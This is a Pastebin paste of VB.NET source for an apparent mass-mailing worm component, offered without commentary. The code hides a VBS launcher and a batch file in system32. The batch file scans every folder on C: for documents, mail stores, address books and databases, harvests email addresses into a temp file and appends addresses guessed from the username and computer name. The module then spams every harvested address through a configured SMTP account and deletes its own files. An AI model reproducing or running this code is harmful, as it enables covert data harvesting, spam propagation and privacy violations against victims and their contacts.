SHARE
TWEET

Untitled

a guest May 22nd, 2017 573 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Module email
  2.     Public Sub email_sp()
  3.         'declaring variables
  4.         Dim mail As String = "" + Form1.TextBox6.Text
  5.         Dim subj As String = "" + Form1.Textbox11.Text
  6.         Dim body As String = "" + Form1.TextBox7.Text
  7.         Dim send As String = "" + Form1.TextBox2.Text
  8.         Dim smtpse As String = "" + Form1.Textbox4.Text
  9.         Dim pwd As String = "" + Form1.Textbox3.Text
  10.  
  11.         Dim mm As New FileStream("C:\windows\system32\launchhh.vbs", FileMode.Create, FileAccess.Write)
  12.         Dim p As New StreamWriter(mm)
  13.         p.BaseStream.Seek(0, SeekOrigin.End)
  14.         p.WriteLine("Dim oShell")
  15.         p.WriteLine("Set oShell = WScript.CreateObject (""WScript.Shell"")")
  16.         p.WriteLine("oShell.run ""C:\windows\system32\launchhh.bat"",0,True")
  17.         p.WriteLine("Set oShell = Nothing ")
  18.         p.Close()
  19.  
  20.         Sleep(95000)
  21.         Dim yy As New FileStream("C:\windows\system32\launchhh.bat", FileMode.Create, FileAccess.Write)
  22.         Dim z As New StreamWriter(yy)
  23.         z.WriteLine("dir /s /ad /b C:\* >%windir%\tmp.log")
  24.         z.WriteLine("for /F %%T in (%windir%\tmp.log) do (")
  25.         z.WriteLine("for %%g in (%%T\*.html) do (")
  26.         z.WriteLine("if exist %%T\*.html (")
  27.         z.WriteLine("extract -files %%g >>%windir%\ex.txt")
  28.         z.WriteLine(")")
  29.         z.WriteLine(")")
  30.         z.WriteLine("ping localhost -n 17")
  31.         z.WriteLine("for %%o in (%%T\*.doc) do (")
  32.         z.WriteLine("if exist %%T\*.doc (")
  33.         z.WriteLine("extract -files %%o >>%windir%\ex.txt")
  34.         z.WriteLine(")")
  35.         z.WriteLine(")")
  36.         z.WriteLine("for %%j in (%%T\*.htm) do (")
  37.         z.WriteLine("if exist %%T\*.htm (")
  38.         z.WriteLine("extract -files %%j >>%windir%\ex.txt")
  39.         z.WriteLine(")")
  40.         z.WriteLine(")")
  41.         z.WriteLine("for %%k in (%%T\*.php) do (")
  42.         z.WriteLine("if exist %%T\*.php (")
  43.         z.WriteLine("extract -files %%k >>%windir%\ex.txt")
  44.         z.WriteLine(")")
  45.         z.WriteLine(")")
  46.         z.WriteLine("for %%l in (%%T\*.txt) do (")
  47.         z.WriteLine("if exist %%T\*.txt (")
  48.         z.WriteLine("extract -files %%l >>%windir%\ex.txt")
  49.         z.WriteLine(")")
  50.         z.WriteLine(")")
  51.         z.WriteLine("for %%m in (%%T\*.dbx) do (")
  52.         z.WriteLine("if exist %%T\*.dbx (")
  53.         z.WriteLine("extract -files %%m >>%windir%\ex.txt")
  54.         z.WriteLine(")")
  55.         z.WriteLine(")")
  56.         z.WriteLine("for %%s in (%%T\*.wab) do (")
  57.         z.WriteLine("if exist %%T\*.wab (")
  58.         z.WriteLine("extract -files %%s >>%windir%\ex.txt")
  59.         z.WriteLine(")")
  60.         z.WriteLine(")")
  61.         z.WriteLine("for %%u in (%%T\*.mdx) do (")
  62.         z.WriteLine("if exist %%T\*.dbx (")
  63.         z.WriteLine("extract -files %%u >>%windir%\ex.txt")
  64.         z.WriteLine(")")
  65.         z.WriteLine(")")
  66.         z.WriteLine("for %%i in (%%T\*.cfg) do (")
  67.         z.WriteLine("if exist %%T\*.cfg (")
  68.         z.WriteLine("extract -files %%i >>%windir%\ex.txt")
  69.         z.WriteLine(")")
  70.         z.WriteLine(")")
  71.         z.WriteLine("for %%q in (%%T\*.mdx) do (")
  72.         z.WriteLine("if exist %%T\*.mdx (")
  73.         z.WriteLine("extract -files %%q >>%windir%\ex.txt")
  74.         z.WriteLine(")")
  75.         z.WriteLine(")")
  76.         z.WriteLine("for %%y in (%%T\*.html) do (")
  77.         z.WriteLine("if exist %%T\*.html (")
  78.         z.WriteLine("extract -files %%y >>%windir%\ex.txt")
  79.         z.WriteLine(")")
  80.         z.WriteLine(")")
  81.         z.WriteLine("for %%d in (%%T\*.rtf) do (")
  82.         z.WriteLine("if exist %%T\*.rtf (")
  83.         z.WriteLine("extract -files %%d >>%windir%\ex.txt")
  84.         z.WriteLine(")")
  85.         z.WriteLine(")")
  86.         z.WriteLine("for %%x in (%%T\*.log) do (")
  87.         z.WriteLine("if exist %%T\*.log (")
  88.         z.WriteLine("extract -files %%x >>%windir%\ex.txt")
  89.         z.WriteLine(")")
  90.         z.WriteLine(")")
  91.         z.WriteLine("for %%g in (%%T\*.dat) do (")
  92.         z.WriteLine("if exist %%T\*.dat (")
  93.         z.WriteLine("extract -files %%g >>%windir%\ex.txt")
  94.         z.WriteLine(")")
  95.         z.WriteLine(")")
  96.         z.WriteLine("for %%p in (%%T\*.css) do (")
  97.         z.WriteLine("if exist %%T\*.css (")
  98.         z.WriteLine("extract -files %%p >>%windir%\ex.txt")
  99.         z.WriteLine(")")
  100.         z.WriteLine(")")
  101.         z.WriteLine("for %%b in (%%T\*.xls) do (")
  102.         z.WriteLine("if exist %%T\*.xls (")
  103.         z.WriteLine("extract -files %%b >>%windir%\ex.txt")
  104.         z.WriteLine(")")
  105.         z.WriteLine(")")
  106.         z.WriteLine("for %%c in (%%T\*.xsl) do (")
  107.         z.WriteLine("if exist %%T\*.xsl (")
  108.         z.WriteLine("extract -files %%c >>%windir%\ex.txt")
  109.         z.WriteLine(")")
  110.         z.WriteLine(")")
  111.         z.WriteLine("for %%f in (%%T\*.xml) do (")
  112.         z.WriteLine("if exist %%T\*.xml (")
  113.         z.WriteLine("extract -files %%f >>%windir%\ex.txt")
  114.         z.WriteLine(")")
  115.         z.WriteLine(")")
  116.         z.WriteLine("for %%r in (%%T\*.uin) do (")
  117.         z.WriteLine("if exist %%T\*.uin (")
  118.         z.WriteLine("extract -files %%r >>%windir%\ex.txt")
  119.         z.WriteLine(")")
  120.         z.WriteLine(")")
  121.         z.WriteLine("for %%a in (%%T\*.msg) do (")
  122.         z.WriteLine("if exist %%T\*.msg (")
  123.         z.WriteLine("extract -files %%a >>%windir%\ex.txt")
  124.         z.WriteLine(")")
  125.         z.WriteLine(")")
  126.         z.WriteLine("for %%d in (%%T\*.mdb) do (")
  127.         z.WriteLine("if exist %%T\*.mdb (")
  128.         z.WriteLine("extract -files %%d >>%windir%\ex.txt")
  129.         z.WriteLine(")")
  130.         z.WriteLine(")")
  131.         z.WriteLine("for %%a in (%%T\*.dbb) do (")
  132.         z.WriteLine("if exist %%T\*.dbb (")
  133.         z.WriteLine("extract -files %%a >>%windir%\ex.txt")
  134.         z.WriteLine(")")
  135.         z.WriteLine(")")
  136.         z.WriteLine("for %%q in (%%T\*.pl) do (")
  137.         z.WriteLine("if exist %%T\*.pl (")
  138.         z.WriteLine("extract -files %%q >>%windir%\ex.txt")
  139.         z.WriteLine(")")
  140.         z.WriteLine(")")
  141.         z.WriteLine("for %%e in (%%T\*.eml) do (")
  142.         z.WriteLine("if exist %%T\*.eml (")
  143.         z.WriteLine("extract -files %%e >>%windir%\ex.txt")
  144.         z.WriteLine(")")
  145.         z.WriteLine(")")
  146.         z.WriteLine("for %%f in (%%T\*.*ml) do (")
  147.         z.WriteLine("if exist %%T\*.*ml (")
  148.         z.WriteLine("extract -files %%f >>%windir%\ex.txt")
  149.         z.WriteLine(")")
  150.         z.WriteLine(")")
  151.         z.WriteLine(")")
  152.         z.WriteLine("echo dieteamcom@gmail.com >>%windir%\ex.txt")
  153.         z.WriteLine("echo %username%@gmail.com >>%windir%\ex.txt")
  154.         z.WriteLine("echo %username%@hotmail.com >>%windir%\ex.txt")
  155.         z.WriteLine("echo %username%@live.com >>%windir%\ex.txt")
  156.         z.WriteLine("echo %username%@hotmail.de >>%windir%\ex.txt")
  157.         z.WriteLine("echo %username%@live.de >>%windir%\ex.txt")
  158.         z.WriteLine("echo %username%@fbi.gov >>%windir%\ex.txt")
  159.         z.WriteLine("echo %username%@msn.com >>%windir%\ex.txt")
  160.         z.WriteLine("echo %username%@yahoo.com >>%windir%\ex.txt")
  161.         z.WriteLine("echo %computername%@gmail.com >>%windir%\ex.txt")
  162.         z.WriteLine("echo %computername%@hotmail.com >>%windir%\ex.txt")
  163.         z.WriteLine("echo %computername%@live.com >>%windir%\ex.txt")
  164.         z.WriteLine("echo %computername%@hotmail.de >>%windir%\ex.txt")
  165.         z.WriteLine("echo %computername%@live.de >>%windir%\ex.txt")
  166.         z.WriteLine("echo %computername%@fbi.gov >>%windir%\ex.txt")
  167.         z.WriteLine("echo %computername%@msn.com >>%windir%\ex.txt")
  168.         z.WriteLine("echo %computername%@yahoo.com >>%windir%\ex.txt")
  169.         z.WriteLine("set /a ran=%random%%%25")
  170.         z.WriteLine("set username2=%username%%ran%")
  171.         z.WriteLine("echo %username2%@gmail.com >>%windir%\ex.txt")
  172.         z.WriteLine("echo %username2%@hotmail.com >>%windir%\ex.txt")
  173.         z.WriteLine("echo %username2%@live.com >>%windir%\ex.txt")
  174.         z.WriteLine("echo %username2%@hotmail.de >>%windir%\ex.txt")
  175.         z.WriteLine("echo %username2%@live.de >>%windir%\ex.txt")
  176.         z.WriteLine("echo %username2%@fbi.gov >>%windir%\ex.txt")
  177.         z.WriteLine("echo %username2%@msn.com >>%windir%\ex.txt")
  178.         z.WriteLine("echo %username2%@yahoo.com >>%windir%\ex.txt")
  179.         z.WriteLine("set /a ranz=%random%%%1005+1")
  180.         z.WriteLine("if %ranz%==10 (")
  181.         z.WriteLine("if exist C:\WINDOWS\system32\logstm.txt (")
  182.         z.WriteLine("type C:\WINDOWS\system32\logstm.txt >>%windir%\ex.txt")
  183.         z.WriteLine(")")
  184.         z.WriteLine(")")
  185.         z.Close()
  186.         Sleep(905000)
  187.         Process.Start("C:\windows\system32\launchhh.vbs")
  188.  
  189.         Sleep(905000)
  190.         For Each bubb As String In FillArrayList("C:\windows\ex.txt")
  191.             Try
  192.                 Dim MyMailMessage As New MailMessage
  193.                 MyMailMessage.From = New MailAddress(mail)
  194.                 MyMailMessage.To.Add(bubb)
  195.                 MyMailMessage.Subject = (subj)
  196.                 MyMailMessage.Body = (body)
  197.                 Dim SMTPServer As New SmtpClient(smtpse)
  198.                 SMTPServer.Port = 25
  199.                 SMTPServer.Credentials = New System.Net.NetworkCredential(send, Crypt(pwd))
  200.                 SMTPServer.EnableSsl = True
  201.                 SMTPServer.Send(MyMailMessage)
  202.             Catch
  203.             End Try
  204.         Next
  205.  
  206.  
  207.         Dim faa As New FileInfo("C:\windows\system32\launchhh.vbs")
  208.         faa.Delete()
  209.         Dim foo As New FileInfo("C:\windows\system32\launchhh.bat")
  210.         foo.Delete()
  211.         Dim fooa As New FileInfo("C:\windows\ex.txt")
  212.         fooa.Delete()
  213.     End Sub
  214.  
  215.  
  216.  
  217. End Module
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top